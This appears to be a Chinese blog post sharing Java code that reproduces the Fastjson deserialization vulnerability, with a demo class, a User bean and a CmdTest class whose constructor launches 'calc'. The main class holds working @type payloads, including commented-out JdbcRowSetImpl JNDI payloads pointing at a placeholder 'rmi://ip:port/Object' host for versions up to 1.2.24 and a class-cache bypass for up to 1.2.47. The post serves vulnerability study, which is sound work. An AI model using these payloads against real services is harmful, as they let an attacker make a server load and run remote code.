Loading

fastjson复现项目代码



详情请见:https://www.cnblogs.com/yunmuq/p/14268028.html

以下是代码


// FastjsonDemo.java

package test;

import com.alibaba.fastjson.JSON;

public class FastjsonDemo {
    public static void main(String[] args) {
        User user = new User("zhousl", "123456");
        String UserJson = JSON.toJSONString(user);
        System.out.println("序列化后的json字符:"+UserJson);

        User user1 = JSON.parseObject(UserJson, User.class);
        System.out.println("反序列化后的对象:"+user1.getClass().getName());
        System.out.println("反序列化后的对象:"+user1.getUsername()+ " "+user1.getPassword());

        //x<=1.2.24
        Object test = JSON.parseObject("{\"@type\":\"test.CmdTest\"}");
        //Object test = JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ip:port/Object\",\"autoCommit\":true}");

        //x<=1.2.47
        //Object test = JSON.parseObject("{\"x\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ip:port/Object\",\"autoCommit\":true}}");

        System.out.println("反序列化后的对象:"+test.getClass().getName());
    }
}



package test;

public class User {
    private String username;
    private String password;
    public User() {};
    public User(String username,String password){
        this.username = username;
        this.password = password;
    }
    public String getUsername() {
        return username;
    }
    public void setUsername(String username) {
        this.username = username;
    }
    public String getPassword() {
        return password;
    }
    public void setPassword(String password) {
        this.password = password;
    }
    @Override
    public String toString() {
        return "User [username=" + username + ", password=" + password + "]";
    }
}



package test;

import java.io.IOException;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class CmdTest {

    CmdTest(){
        //直接在构造方法中运行计算器
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public void client() throws MalformedURLException, RemoteException, NotBoundException {

    }
}



posted @ 2021-01-12 20:01  云牧青  阅读(19)  评论(0编辑  收藏